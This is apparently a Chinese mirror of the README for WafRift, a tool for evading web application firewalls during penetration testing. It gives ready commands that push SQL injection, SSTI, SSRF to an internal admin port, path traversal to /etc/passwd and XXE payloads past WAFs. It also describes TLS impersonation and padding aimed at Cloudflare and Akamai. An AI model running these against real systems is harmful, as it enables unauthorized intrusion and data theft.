santhsecurity/wafrift

GitHub: santhsecurity/wafrift

基于 Rust 构建的可编程 WAF 规避引擎,通过编码变异、语法篡改、请求走私和演化学习等手段自动发现并持久化绕过策略。

Stars: 1 | Forks: 0

# WafRift [![CI](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/0a24eb4a44013032.svg)](https://github.com/santhsecurity/wafrift/actions/workflows/ci.yml) [![许可证: MIT OR Apache-2.0](https://img.shields.io/badge/License-MIT%20OR%20Apache--2.0-blue.svg)](#license) [![Crates.io](https://img.shields.io/crates/v/wafrift-cli)](https://crates.io/crates/wafrift-cli) **一个可编程的 WAF 规避引擎,支持独立控制各项技术,并具备可自动学习绕过方式的演化模式。** 其他工具通常只提供单一技巧:垃圾填充、头部注入、走私 或静态篡改列表。WafRift 则是这些技术的集大成者:编码、语法感知的变异、Content-Type 切换、请求走私以及 TLS/HTTP 指纹轮换。CLI 将每种编码策略和语法层作为细粒度的 `--only`/`--exclude` 选择器暴露出来;其余的则作为默认流水线的一部分运行。针对单主机的切换持久化以及 Burp Suite 控制面板已在 [路线图](docs/GAP_CLOSURE_ROADMAP.md) 中规划。释放该引擎,搜索循环(爬山算法 / SA / 禁忌搜索 / 新奇性搜索 / MAP-Elites)将自动发现能够绕过目标 WAF 的方法,并将成功的流水线持久化到每个 WAF 独有的 **基因库** 中,使得下一次扫描无需再经历发现阶段。 ## 最新动态 (v0.2.13) - **代理对抗性扫描 — 修复了 6 个缺陷。** - **严重** `crates/proxy/src/mitm.rs:214` — 针对字面 IP 地址(`https://127.0.0.1`,`https://[::1]`)的叶证书使用了 dNSName SAN 而不是 iPAddress SAN,导致在每次对私有 IP 进行 MITM 时浏览器都会出现 TLS 错误。现已修复:针对字面 IP 使用 `iPAddress` SAN。 - **高危** `crates/proxy/src/main.rs:1759` — 隐秘响应路径 仅解析第一个 `Connection` 头,导致后续 `Connection` 头中的逐跳令牌向下游泄露。 - **高危** `crates/proxy/src/main.rs:479` — 基因库加载器 静默丢弃了 pre-schema-v0.1 的 flat-HashMap 文件, 导致升级后所有已保存的发现被销毁。 - **高危** `crates/proxy/src/main.rs:598` — `restore_gene_bank` 绕过了 10K 主机内存上限;恶意基因库可能在 启动时耗尽代理内存。 - **中危** `crates/proxy/src/main.rs:626` — `--max-evade-retries` 没有上限;每请求的重试风暴会导致 CPU 占用率居高不下。 - **中危** `crates/proxy/src/tui/state.rs:382` — 在长时间的测试任务中 TUI 主机列表会无限增长。 - **低危** `crates/proxy/src/main.rs:570` — `save_gene_bank` 在 磁盘满 / I/O 错误时会遗留临时文件。 - 在 `evade_retry_cap.rs`、`mitm_ip_san.rs`、 `proxy_tests.rs` 中新增了 367 行 LOC 测试。wafrift-proxy 现已实现 283 / 283 项测试全绿。 ## 最新动态 (v0.2.12) - **渗透测试人员验收扫描。** 修复了两个在测试人员实际 使用该工具时至关重要的问题: `wafrift --quiet evade ... | head` 不再因 "failed printing to stdout: Broken pipe" 而发生 panic — 两个二进制文件在启动时都会安装 `SIGPIPE = SIG_DFL`(这是 经典的 Unix CLI 惯用法)。已通过回归测试锁定。 README 新增了 Burp Suite / Caido / mitmproxy 上游代理 链式配置说明,因此 `Browser → Burp → wafrift-proxy → Target` 已实现了 端到端的文档化,包括标准的 8080 端口冲突 解决方法。 - **SSRF 主机名中 NUL 字符的引擎修复。** `SsrfOracle` 现在通过 去除 `://` 之后第一个编码或字面上的 NUL 字符, 重新解析前缀,并在解析出的 host 本身是 SSRF 指标时予以接受, 从而挽救了 CVE-2017-15046 系列(`http://127.0.0.1%00.evil.com/` 及其 字面 NUL 孪生体)。该挽救操作由解析的 `host_str()` 进行控制,因此现有的公共主机子字符串误报无法 利用此新路径。已通过 9 个语料库测试(包括一个 负向孪生测试)进行锁定。 - **文档测试覆盖率从 1 提升至 28**,覆盖所有 16 个库 crate。每个 公共 API 现在都附带一个可运行的示例,该示例可编译、在 `cargo test --doc` 下运行, 并在 docs.rs 上渲染。 - **B 级 TOML 迁移。** 跨 7 个源文件的 16 个硬编码 `const X: &[&str]` 列表 已移至每个 crate `rules/` 目录下的 TOML 数据中:WAF 拦截指标 (13),XSS 验证 分类 (70),XSS 变异器语料库 (42),SSRF 方案 (10),SSTI 内省标记 (20),LDAP 语法 (16),HTTP/2 GOAWAY 短语 (4)。通过 `OnceLock` + `include_str!` 加载,因此 cargo install 仍会生成一个独立的二进制文件。现在,社区可以在不接触 Rust 的情况下扩展约 155 个条目。 - **CI 强化。** 新增 `cargo audit` 任务(设置为 continue-on-error,这样 传递依赖的警告不会阻止 PR 合并,但仍然保持 可见)。`manpage_in_sync.rs` 回归测试可在合并前捕获 `docs/man/wafrift.1` 的漂移 — 在此关卡之前,联机手册在之前的三个版本 (0.2.1, 0.2.11, 0.2.12)中发布时均已过时。`rust-version` 已从 1.85 同步至 1.88,以匹配 CI 实际验证的版本。 - **工作区优化。** 严苛的 clippy 警告从 936 条降至约 440 条; `clippy::doc_markdown` 从 287 条清零,因此每个公共文档字符串都能在 docs.rs 上干净地渲染。三个简短的 crate README (`wafrift-types`, `wafrift-content-type`, `wafrift-pool`) 已从单段落存根扩展为包含 API 接口、稳定性说明和用法的结构化页面。公共 API 接口上的五个 `#[allow(dead_code)]` 标记已移除。`core/tests/encoding_*`(12 处)中的编码测试已强化为带有跨度和直通检查的字节级精确的 %-编码断言。孤立的 `oracle/src/test_url.rs` 已删除;URL 语料库已被挽救为一个真正的 `ssrf_loopback_bypass_corpus` 集成测试。2926 / 2926 工作区测试全绿。 ## 最新动态 (v0.2.11) - **审计驱动的强化扫描(批次 1–9,v0.2.4 → v0.2.11)。** 九个审查批次在整个工作区中落地了严重 / 高危 / 中危的可信 修复:在 cookie `Domain=` 上的 PSL 超级 cookie 保护(`transport`); 针对 `StealthClient` 的每请求 DNS 固定,以消除主机名重绑定; XSS 信号评分的精确重写(`grammar`);`EvasionConfig.allow_private_upstream`(默认为 `false`)除非明确选择启用,否则会阻止 RFC1918 / 回环 / 链路本地 SSRF;全局挑战提示上限中的每主机公平性;在丢弃的 MCTS 评估上的预算偿还;状态感知分类器消除了 200-OK 误报;`HostState` 总计提升至 `u64`;cookie 值中拒绝了 CRLF/NUL/`;` 以阻止 HTTP 请求分割;`oracle` cmdi OOM 和 ssrf "0" 指标误报修复;基准测试工具、MITM 证书构建器、拦截 GC、学习缓存原子保存和 content-type 唯一边界连接均得到了强化。30 个空洞的 content-type 测试 + 3 个走私 基本警报被替换为严格的结构断言。 2892 / 2892 工作区测试在 v0.2.11 版本中全绿。 - **基因组注册表 (`wafrift-genome-registry`)** — 经 ed25519 签名的 社区规避捆绑包,确定性规范编码, 位于 `~/.wafrift/trusted-keys.toml` 的信任列表,通过 `wafrift bank` 呈现。 - **`captchaforge` 适配器 (`wafrift-captchaforge-bridge`)** — 可选的托管质询解决器,将 chromiumoxide 解决器 订阅到 wafrift 的质询流程中。`wafrift-proxy --captchaforge`。 - **`wafrift bypass-probe URL`** — Tsai 级别的差异化的漏洞 发现器。针对单个 URL 或 `--paths-file` 列表,发射 136 个身份验证绕过头探测 以及路径路由变体和 HTTP 方法覆盖, 将每个响应与基线进行分类,并附带可重现的 `curl` 命令报告高 / 中 / 低危差异。 有界并发(默认 `--concurrency 8`)— 12 个路径 × 每个约 190 个 探测在不到 1 秒内完成。 ## 早期更改 (v0.2.3) - **`wafrift bypass-probe URL`** — Tsai 级别的差异化漏洞 发现器。针对单个 URL 或 `--paths-file` 列表,发射 136 个身份验证绕过头部探测 以及路径路由变体和 HTTP 方法覆盖, 将每个响应与基线进行分类,并附带可重现的 `curl` 命令报告高 / 中 / 低危差异。 有界并发(默认 `--concurrency 8`)— 12 个路径 × 每个约 190 个 探测在不到 1 秒内完成。 - **`wafrift evade --payload "http://allowed.com/"`** 现在生成 完整的 Orange-Tsai 解析器混淆系列(基本 userinfo, GitLab CVE-2018-19571 fragment-userinfo,query-userinfo,反斜杠, `%40` / `%2540`,port-then-userinfo,授权中的换行符 / 空字符) 用于 SSRF 载荷 — 使用用户的输入主机作为掩护, 并通过 userinfo 位置轮换云元数据目标。 - **`wafrift-proxy --tui`** 重写为真正的 MITM 实时查看器。 三个选项卡(Flow / Overview / Hosts),每请求的检查面板 显示双向内容(headers + body 摘录),实时 req/s + bypasses/s 波形图,按状态分级的着色。`j`/`k` 导航,`Enter` 检查,`Tab` 切换选项卡。 - **`wafrift-proxy --mitm`** 不再在 HTTPS 上中止 — rustls CryptoProvider 现在在启动时安装。已针对 `example.com` 进行端到端验证。 - **稳定性**:以前单个 100 KB 的 POST 就会挂起代理并在 负载下使其级联崩溃(在 MCTS 迭代中持有全局 mutex)。现在锁会在外部获取状态快照并运行规避。 50 个并发请求 → 50 个 HTTP 200,而不是全部超时。 - **基准测试语料库**:579 → 607 个用例。新增 TOML 文件用于 解析器混淆授权(SSRF)和路由分歧(path)。 - 完整的 v0.2.3 条目请参见 `CHANGELOG.md`(锁修复、MCTS body 预算、另外三个 UTF-8 变异器 panic、`--insecure` 警告、 基因库竞争修复、十一个错位的测试块被挽救、clippy `-D warnings` 干净)。 ## 实测绕过率 以下每个数字均可从 [`wafrift-bench/`](./wafrift-bench/) 中的基准测试工具复现。方法论请参见 [`wafrift-bench/methodology.md`](./wafrift-bench/methodology.md); 机器可读的 JSON 位于 `wafrift-bench/results/`。 **目标:ModSecurity + OWASP CRS(部署最广泛的开源 WAF)。** 语料库:跨 10 个攻击类别的 557 个用例(sql / xss / cmdi / ssti / path / ldap / xxe / ssrf / nos / log4shell)。组合了 10 种规避策略:载荷字符串变异、MCTS (mctrust 0.4)、HTTP 走私、content-type 混淆、ReDoS、爬山算法、模拟退火、禁忌搜索、新奇性搜索、MAP-Elites。经过 Oracle 验证的(每次“绕过”都在结构上被验证为有效攻击,而不是偶然漏过的垃圾数据)。 | 偏执级别 | 发送变体数 | 已绕过 | 绕过率 | 成功用例数 ≥1 | |---|---:|---:|---:|---:| | **PL=1** (默认) | 46k | 16.7k | **36%** | **557 / 557 (100%)** | | PL=2 | 60k | 17.6k | 29% | 557 / 557 (100%) | | PL=3 | 60k | 17.3k | 28% | 557 / 557 (100%) | | **PL=4** (最激进) | 60k | 16.3k | **27%** | **557 / 557 (100%)** | **在每个偏执级别(包括最偏执的 CRS 预设 PL=4):当应用包含 60 种以上变体的完整策略堆栈时,语料库中的每一个攻击用例都至少有一种有效的绕过方法。** 一旦存在有效的规避种子,每主机基因库(`~/.wafrift/genomes/`)将无限期地重放它,因此 针对同一 WAF 的后续扫描将从零发现阶段开始。 **这个数字并不意味着什么。** “557/557 个用例被绕过”是一个搜索预算结果,而不是一次性绕过率。在仅使用代理及其默认设置(没有 `--max-evade-retries`,仅进行 HTTP 层升级)的情况下,针对 PL=4 的一个赤裸裸的 SQLi 通常仍然会被阻止:代理当前不会改变 URL 注入的载荷字节,只会改变 HTTP 层产物(UA / headers / body 编码)。载荷字节变异存在于 `wafrift scan` 和 `wafrift bench-waf` 中。有关实践示例,请参见 [`docs/PRACTITIONER_WALKTHROUGH.md`](./docs/PRACTITIONER_WALKTHROUGH.md)。 ``` # Reproduce git clone https://github.com/santhsecurity/wafrift && cd wafrift wafrift-bench/scripts/up.sh modsec-pl4 cargo run --release -p wafrift-cli -- bench-waf \ --base-url http://127.0.0.1:18084 \ --corpus wafrift-bench/corpus \ --evade --variants 20 \ --strategies heavy,mcts,smuggling,content-type,redos,hill-climb,sim-anneal,tabu,novelty,map-elites,differential \ --oracle-gate \ --output repro.json jq .evaded_summary repro.json ``` ## WafRift 的对比 | 工具 | 编码 | 语法变异 | 走私 | Content-Type 切换 | 每主机学习 | 正向代理 | 重放 | |---|:-:|:-:|:-:|:-:|:-:|:-:|:-:| | sqlmap `--tamper` | 部分 | 仅 SQL | – | – | – | 通过 `--proxy` | – | | Burp `nowafpls` | – | – | – | – | – | Burp 扩展 | – | | Burp "Bypass WAF" | 头部技巧 | – | – | – | – | Burp 扩展 | – | | HTTP Request Smuggler | – | – | 是 | – | – | Burp 扩展 | – | | **WafRift** | **15+ 种策略** | **SQL/XSS/CMD/SSTI/path/LDAP/SSRF** | **CL.TE / TE.CL / TE.TE** | **multipart/json/xml** | **基因库** | **独立运行 + MITM** | **确定性** | WafRift 并不取代 sqlmap(对于未受保护的目标,它仍然是合适的端到端 SQLi 漏洞利用工具)或 Burp(对于交互式会话,它仍然是合适的拦截 GUI)。当这些工具被 WAF 阻止时,WafRift 是您需要添加的规避层。一旦存在有效的规避种子,每主机基因库(`~/.wafrift/genomes/`)将无限期地重放它 — Cloudflare 扫描在随后的每次运行中都会以经过验证的绕过方式开始,**零发现阶段**。语法变异根据 `sqlparser-rs` AST 等效性进行了验证,因此 SQL 变体确实能够被解析 — 大多数篡改器发送的是损坏的载荷而自己却不知道。 ## 安装说明 ### 预编译二进制文件(推荐) 从 [GitHub Releases](https://github.com/santhsecurity/wafrift/releases) 下载适用于您平台的最新版本: ``` # Linux (x86_64) curl -sSfL https://github.com/santhsecurity/wafrift/releases/latest/download/wafrift-$(uname -m)-unknown-linux-gnu.tar.gz | tar xz sudo mv wafrift wafrift-proxy /usr/local/bin/ # macOS (Apple Silicon) curl -sSfL https://github.com/santhsecurity/wafrift/releases/latest/download/wafrift-aarch64-apple-darwin.tar.gz | tar xz mv wafrift wafrift-proxy /usr/local/bin/ ``` ### 从 crates.io 安装 ``` cargo install wafrift-cli --version '>=0.2.13' # Optional: TLS impersonation (rquest 5.x + BoringSSL, adds boring-sys C build) cargo install wafrift-proxy --version '>=0.2.13' --features tls-impersonate ``` 这将安装 `wafrift` 和 `wafrift-proxy` 二进制文件。需要 Rust 工具链支持。 ### 从源码安装 ``` git clone https://github.com/santhsecurity/wafrift && cd wafrift cargo install --path crates/cli ``` ## 快速入门 选择您的工作流程:每个都可直接复制粘贴使用。 ### 🏁 CTF:"我找到了 SQLi 但存在 WAF" ``` # Get bypass variants instantly (offline, no target needed) wafrift evade --payload "' OR 1=1--" --level heavy # Found a WAF? Fire all variants and see what gets through wafrift scan --target http://ctf.example/vuln --payload "' OR 1=1--" ``` ### 🔍 渗透测试:"WAF 拦截了 sqlmap/ffuf" ``` # Start the evasion proxy cargo run -p wafrift-proxy -- --listen 127.0.0.1:8080 # Route your tools through it sqlmap -u "https://target/x?id=1" --proxy="http://127.0.0.1:8080" ffuf -x http://127.0.0.1:8080 -u https://target/FUZZ -w wordlist.txt # Check live findings mid-session curl http://127.0.0.1:8080/_wafrift/findings.md ``` ### 🎯 漏洞赏金:"扫描这个目标,给我报告" ``` # Full autonomous scan with JSON output wafrift scan --target https://target.com --payload "' UNION SELECT 1--" \ --param id --format json --output results.json # Generate a markdown writeup from findings wafrift report --only-host target.com --output writeup.md ``` ### 🗺️ 发现:"我有一个 OpenAPI 规范 / GraphQL 端点,找出注入点" ``` # Parse an OpenAPI 2.0/3.x JSON spec into structured injection points wafrift discover --spec api.json --format json --output endpoints.json # Probe a GraphQL server's introspection schema wafrift discover --target https://api.example.com/graphql --introspect # Differential parameter mining against a single endpoint wafrift discover --target https://app.example.com/search \ --mine-params --wordlist /path/to/burp-parameter-names.txt # Combine modes; results are deduplicated by (method, url) and emit # `DiscoveredEndpoint` JSON suitable for piping into `wafrift scan`. wafrift discover --spec api.json --target https://app.example.com \ --introspect --mine-params --wordlist params.txt --format json ``` 每个注入点都带有从规范的媒体类型推断出的 `ParameterLocation`(Query / Path / Header / Cookie / Body)、`InjectionContext`(`JsonString` / `UrlQuery` / `XmlText` / `MultipartField` 等)以及一个 `required` 标志:这让 `wafrift scan` 能够选择上下文感知的编码,而不是盲目猜测。 ### 🛡️ 隐秘行动:"Cloudflare/Akamai 在我甚至还没开始探测时就根据 JA3 封锁了我" ``` # One-time: build with the BoringSSL impersonation feature. cargo install wafrift-proxy --features tls-impersonate # Run the proxy wearing a real Chrome 131 ClientHello on every # upstream forward. JA3 / JA4 / h2 SETTINGS all match a real browser # bytes-for-bytes: edge WAFs that classify on TLS fingerprint # (Cloudflare bot management, Akamai, Sigsci, Imperva Bot Protection) # see "browser" instead of "rustls" and let the connection through to # inspection, where wafrift's HTTP-level evasion takes over. wafrift-proxy --listen 127.0.0.1:8080 --tls-impersonate chrome131 # Profiles: chrome131, chrome120, edge131, firefox133, safari18, # safari17_5, okhttp5; aliases `chrome`, `firefox`, `safari`, `edge` # resolve to the latest-of-family. See docs/TLS_PARITY.md. # Now sqlmap / ffuf / curl through this proxy gets through edge TLS # fingerprinting without any extra config. sqlmap -u "https://target.cloudflare-protected.com/x?id=1" --proxy=http://127.0.0.1:8080 ``` #### 每请求指纹轮换 + Body 填充 云 WAF 仅检查请求体的前导字节(Cloudflare Pro 为 8 KB,AWS WAF 为 16 KB,Akamai 为 8 KB):填充超过该窗口,规则引擎就永远不会看到恶意字节。结合 TLS 配置文件轮换和每次请求使用全新的 TCP 源端口: ``` wafrift-proxy --listen 127.0.0.1:8080 \ --tls-impersonate-rotate chrome131,firefox133,safari18 \ --body-padding-bytes 16384 \ --no-conn-reuse \ --tui ``` - `--tls-impersonate-rotate` 在列出的浏览器配置文件中进行轮询。可挫败基于特定指纹的速率限制和信誉机制。 - `--body-padding-bytes 16384` 通过新增的 `_wafrift_pad` 字段/部分,在每个 JSON / form-urlencoded / multipart body 前置 16 KB 的惰性填充物。云 WAF 会错过载荷;而源站则能正确解析它。 - `--no-conn-reuse` 为每次上游转发打开一个新的 TCP 连接(内核每次都会选择一个新的临时源端口)。 - `--tui` 打开一个实时终端仪表板(每主机绕过率,TLS 轮换分布,填充 body 计数器,实时请求流)。按 `q` 优雅关机,按 `r` 重置计数器。 ### 🔴 红队:"针对同一 WAF 的持久规避" ``` # First scan learns what bypasses the WAF in front of target.com # (wafrift detects the WAF automatically and tags genome by name) wafrift scan --target https://target.com --payload "' OR 1=1--" # Subsequent scans against any target behind the same WAF start in # rotation mode (zero discovery). Genome at ~/.wafrift/genomes/.json # persists across sessions. wafrift scan --target https://other-target-same-waf.com --payload "' OR 1=1--" # Replay a finding deterministically (exits 0 on bypass, 2 on block). # --from-waf reads the genome wafrift's detect step identified earlier # (e.g. "ModSecurity"); --from-host pulls from the proxy gene-bank. wafrift replay --target https://target.com --param id \ --payload "' OR 1=1--" --from-waf ModSecurity ``` ## 操作员参考 上述针对不同角色的快速入门涵盖了大多数工作流程。有三个领域值得单独列出参考,因为它们很容易被忽略。 ### 实时 MITM 仪表板 (`wafrift-proxy --tui`) 三个选项卡。使用 `Tab` 或 `1`/`2`/`3`(或 `f`/`o`/`h`)切换。 - **Flow** — 包含 500 个请求的有界环形缓冲区,带有按状态分级的着色(2xx 绿色,3xx 青色,4xx 黄色,5xx 红色;结果 BYPASS 显示为绿色,BLOCK 为红色,PASS 为白色)。`j`/`k` 导航,`g`/`G` 跳至第一条/最后一条,`Enter` 切换显示完整检查内容的侧边详情面板:传出请求行 + 每个规避后的 header + body 摘录;传入响应状态 + 每个 header + body 摘要;汇总块(WAF、尝试次数、延迟、body 填充、TLS 配置文件、技术链、总响应大小)。下方有两条波形图:最近 60 秒内的 req/s 和 bypasses/s。 - **Overview** — 计数器、TLS 轮换表盘、已识别的 WAF。 - **Hosts** — 可按发送计数排序的每主机绕过表格,带有绕过率颜色分级和已识别的 WAF 列。 - `q` / `Esc` 退出(会优雅地刷新基因库)。 ### 细粒度技术选择 每种编码策略和语法层都可以作为分层路径进行寻址。列出树状结构,然后按命令包含或排除: ``` wafrift techniques list # see the tree wafrift evade --payload "' OR 1=1--" --only encoding/url wafrift scan --target http://target.com --payload "' OR 1=1--" \ --exclude encoding/url/triple,encoding/sql/comment ``` 未知的选择器会立即报错 — 不会静默丢弃。 ### 差异化绕过探测 (`wafrift bypass-probe`) 针对 Tsai 级别的边界不匹配漏洞(由 WAF 头部规则保护的管理面板、`X-Original-URL` 重写、ProxyShell 风格的路由分歧、IP 信任欺骗),将 bypass-probe 指向资源并让它发射完整的 136 个身份验证绕过探测集以及路径/方法变体: ``` # Single URL wafrift bypass-probe https://target/admin --concurrency 16 # Whole admin surface from a list cat > paths.txt < findings.json ``` 每个差异(状态翻转、body 差异)都会附带一条可重现的 `curl` 单行命令进行报告。 ### Burp Suite / Caido / mitmproxy 链式连接 WafRift 是一个正向 HTTP 代理,可以与任何其他拦截代理并行插入。传统的渗透测试布局是: ``` Browser → Burp (8080) → wafrift-proxy (8181) → Target ▲ ▲ │ └── applies WAF evasion (encoding, │ CT switching, padding, fingerprint │ rotation, MCTS) before forwarding │ └── operator inspects/edits requests in Burp's UI as usual ``` 在不同的端口上运行 wafrift-proxy(Burp 默认占用 8080;使用 8181 或任何空闲端口),并告诉 Burp 将其用作目标主机的“Upstream Proxy Server”: ``` # 1. Start wafrift-proxy on 8181 with whichever evasion config you want. wafrift-proxy --listen 127.0.0.1:8181 \ --content-type-switching \ --max-rps-per-host 5 \ --tls-impersonate-rotate chrome131,firefox133 # 2. In Burp: User options → Connections → Upstream Proxy Servers # → Add → Destination host: target.example.com # Proxy host: 127.0.0.1 Proxy port: 8181 # # Caido has the same setting under Settings → Proxies → Upstreams. # mitmproxy: mitmdump --mode upstream:http://127.0.0.1:8181 ``` Burp 选项卡仍会显示每个请求,并允许您拦截/重放/限定范围;wafrift-proxy 在上游转发之前应用规避,并将绕过情况记录到其基因库中 — 因此,随后对同一目标的运行将从已学习到的成功者开始,而不是零发现。 要直接通过 wafrift 的规避流水线重放捕获的 Burp 请求(无需代理链),请复制为 cURL 并通过管道传递给 `import-curl`: ``` # Burp → right-click request → Copy as cURL → save to /tmp/req.curl xclip -o > /tmp/req.curl wafrift import-curl /tmp/req.curl --evade --output /tmp/scan.json ``` 设置 `--quiet` 后,CLI 输出为以换行符分隔的 JSON,因此可以通过管道清晰地传递给 `jq`、`head`、`grep -m 1` 等。(`SIGPIPE` 会被静默处理 — 在 `wafrift evade ... | head` 时不会发生管道破裂导致的 panic)。 ### 代理范围、速率限制、实时发现 ``` # Only evade *.example.com on JSON API endpoints; skip login + static. wafrift-proxy --listen 127.0.0.1:8080 --mitm \ --only-host '*.example.com' \ --skip-path '/static/*,/oauth/*,/login,/favicon.ico' \ --only-method 'POST,PUT,PATCH,DELETE' # Token bucket: 5 req/s per upstream host, burst of 10. wafrift-proxy --listen 127.0.0.1:8080 --mitm \ --max-rps-per-host 5 --max-rps-per-host-burst 10 # Live findings, loopback-only: curl http://127.0.0.1:8080/_wafrift/findings.md # markdown writeup curl http://127.0.0.1:8080/_wafrift/status # JSON (per-host stats) ``` Glob 使用一种微型的 ASCII 语法(`*` 匹配任何序列,`?` 匹配一个字节,不区分大小写)。`--skip-host`/`--skip-path` 会在其对应的 `--only-*` 对等项之后进行评估。 ### 授权 `wafrift-proxy` 默认拒绝位于私有/回环/RFC1918/链路本地范围内的上游目标;仅当针对您拥有的实验室目标时才传递 `--allow-private-upstream`。`wafrift replay` 和 `bypass-probe` 会发送真正可利用的字符串:仅对您控制的系统或您拥有明确书面授权进行测试的系统运行它们。 ### CTF / 渗透测试快速指南 安全从业者常遇到的五种常见场景。每个指南都是一条单独的命令:除了 `cargo install wafrift-cli`(或 `docker run santhsecurity/wafrift`)以及您本来就需要测试的 `--target`/`--payload` 之外,无需其他设置。 **1. SQL 注入登录绕过。** WAF 阻止了 `' OR 1=1--`;找到一个能成功着陆的变体。 ``` wafrift scan --target https://target/login \ --payload "' OR 1=1--" --param username --level heavy ``` 输出将打印是哪个规避技术链产生了绕过。稍后可以使用保存在基因库中的精确链进行重放:第二次运行将跳过发现阶段。 **2. 服务器端模板注入 (SSTI)。** `{{7*7}}` 的变体,WAF 允许但其引擎仍然会进行求值。 ``` wafrift scan --target https://target/profile \ --payload "{{7*7}}" --param name --level heavy --only grammar/ssti,encoding ``` `--only grammar/ssti,encoding` 保持搜索集中在焦点上:针对单一模板反射运行完整的流水线是很慢的。 **3. 针对内部管理员的 SSRF。** 将 `127.0.0.1:9000` 请求走私经过一个仅将字符串 `127.0.0.1` 列入黑名单的 WAF。 ``` wafrift scan --target https://target/preview \ --payload "http://127.0.0.1:9000/admin" --param url --level heavy \ --only encoding,grammar/ssrf ``` 差异化探测集 (`wafrift probe`) 列出了该类别中 WAF 能可靠阻止的子技术,当扫描结果为空且您需要了解不该重试什么时,这非常方便。 **4. 路径遍历 / LFI。** WAF 阻止了 `../`;找到一个能幸存下来的变体。 ``` wafrift scan --target https://target/static \ --payload "../../../etc/passwd" --param file --level heavy \ --only encoding/url,encoding/unicode,grammar/path ``` **5. XML body 中的 XXE。** 实践者将请求 body 保存在一个文件中;希望以完全相同的 body 形状进行扫描。 ``` # Copy the request as cURL out of Burp/ZAP, paste through import-curl: pbpaste | wafrift import-curl --from-stdin \ --param xmlData --payload ']>&x;' \ --level heavy ``` **保存和重放发现。** 一旦某个指南成功绕过,请将其持久化到基因库中,以便后续运行(或队友)无需重新进行发现: ``` wafrift seed --waf modsec-crs --technique EncodingDoubleUrl,GrammarTautology wafrift bank export --output bundle.json # share with teammate wafrift bank import bundle.json # on teammate's machine ``` 确定性地重放任何已保存的发现: ``` wafrift replay --target https://target/login --param username \ --payload "' OR 1=1--" --from-host target # exits 0 on bypass, 2 on block ``` ## 系统架构 ``` wafrift ├── crates/ │ ├── types # Core types: Request, Technique, EvasionResult │ ├── encoding # 15+ encoding strategies (URL, Unicode, HTML entity, chunked, etc.) │ ├── grammar # Grammar-aware payload mutations (SQLi, XSS, CMD, SSTI, SSRF, LDAPi, path traversal) │ ├── content-type # Content-Type switching (JSON, XML, multipart, etc.) │ ├── smuggling # HTTP request smuggling (CL.TE, TE.CL, H2) │ ├── fingerprint # Browser fingerprint rotation (User-Agent, TLS, headers) │ ├── detect # WAF fingerprinting (160+ WAFs via TOML rules) │ ├── evolution # Genetic algorithm: crossover, mutation, fitness, MCTS, differential probing │ ├── oracle # Multi-signal response classification (block / bypass / challenge / rate-limit) │ ├── strategy # Pipeline orchestrator + gene bank + learning cache + adaptive host state │ ├── transport # Evasion-aware HTTP client with auto-retry │ ├── proxy # HTTP forward proxy with per-host adaptive evasion │ ├── pool # Proxy pool rotation (round-robin HTTP/SOCKS5) │ ├── recon # Origin discovery via OSINT (CT logs, DNS history) │ └── cli # Interactive TUI + headless scan/evade/detect/probe commands ``` ## 作为库使用 导入外观 crate 以将所有模块置于单一依赖项下,或拉取单独的 crate(见下文)。 ``` [dependencies] wafrift-core = "0.1" tokio = { version = "1", features = ["rt-multi-thread", "macros"] } ``` ``` use wafrift_core::encoding::{self, Strategy}; #[tokio::main] async fn main() -> Result<(), Box> { let encoded = encoding::encode(b"' OR 1=1--", Strategy::UnicodeEncode)?; println!("{encoded}"); Ok(()) } ``` CLI 实时 `scan` 流程由 `wafrift-strategy`、`wafrift-transport` 和 `wafrift-detect` 构建;如果您需要相同的流水线但不想要二进制文件,请直接嵌入这些 crate。 ## 作为单独的 crate 使用 只使用您需要的那一部分:无需导入整个引擎。 ``` [dependencies] wafrift-encoding = "0.1" # 15+ encoding strategies wafrift-grammar = "0.1" # SQL/XSS/CMD/SSTI dialect mutations wafrift-detect = "0.1" # WAF fingerprinting (160+ WAFs via TOML rules) wafrift-smuggling = "0.1" # HTTP request smuggling probes wafrift-evolution = "0.1" # Genetic/novelty/MAP-Elites bypass search wafrift-oracle = "0.1" # Response verdict classification wafrift-strategy = "0.1" # Per-WAF evasion pipeline planning ``` ``` use wafrift_encoding::{Strategy, encode}; let encoded = encode(b"' OR 1=1--", Strategy::UnicodeEscape)?; ``` ## 社区规则 (B 级) WAF 签名、规避流水线和走私探测以 TOML 文件的形式存在于 `rules/` 中。检测目录(160 多个 WAF)源自 [wafw00f](https://github.com/EnableSecurity/wafw00f)(BSD-3-Clause)加上来自 [identYwaf](https://github.com/stamparm/identYwaf)(MIT)的精选贡献以及本地研究的补充;每个 TOML 规则都带有一个指向其来源的 `source` 字段。添加新的 WAF = 5 行 TOML,无需了解 Rust: ``` # rules/detect/mywaf.toml name = "MyWAF" vendor = "Example Corp" confidence_weight = 0.9 [[headers]] name = "Server" pattern = "MyWAF/\\d+" [[body_patterns]] pattern = "(?i)blocked by MyWAF" evasions = ["encoding::unicode", "grammar::tautology_swap"] ``` 放入 `rules/detect/` 目录中,探测器在启动时就会加载它。 ## 基因库 WafRift 会记住哪些方法有效。每次扫描后,学习到的技术都会持久化到 `~/.wafrift/genomes/.json`: ``` { "waf_name": "Cloudflare", "techniques": [ { "name": "encoding::UnicodeEncode", "total_successes": 13, "total_attempts": 13 }, { "name": "encoding::HtmlEntityEncode", "total_successes": 13, "total_attempts": 13 }, { "name": "tautology_swap", "total_successes": 56, "total_attempts": 56 } ], "targets_scanned": 3 } ``` 下次您扫描 Cloudflare 站点时,这些技术会自动加载。 ## 代理反馈循环 代理会不断学习: ``` Request → evade() → forward → observe 200/403 ↑ | └── feedback loop ──────┘ Discovery → Rotation → Drift Detection → Re-Discovery ``` - **发现阶段**:尝试所有技术,跟踪成功/失败率 - **轮换阶段**:一旦找到 ≥60% 的成功者,仅使用这些(轮询调度) - **漂移阶段**:如果某个成功者连续 2 次被阻止,则将其驱逐 - **重新发现阶段**:如果所有成功者都被驱逐,则清空并重新开始 ## 规避技术 | 类别 | 技术 | |----------|-----------| | **编码** | URL,双重 URL,三重 URL,Unicode,IIS Unicode,HTML 实体,十六进制,Base64,UTF-7,超长 UTF-8,分块拆分,参数污染,空字节 | | **语法** | 重言式交换,无关键字算术,注释插入,空白变体,关键字大小写,字符串拆分,十六进制字面量,特定方言 (MySQL/PG/MSSQL/Oracle/SQLite) | | **Content-Type** | JSON body,XML body,multipart form-data 切换 | | **Headers** | 大小写混合,头部注入,重复头部,HPP | | **指纹** | User-Agent 轮换,TLS 指纹,Accept-Language | | **走私** | CL.TE,TE.CL,HTTP/2 混合大小写头部,H2 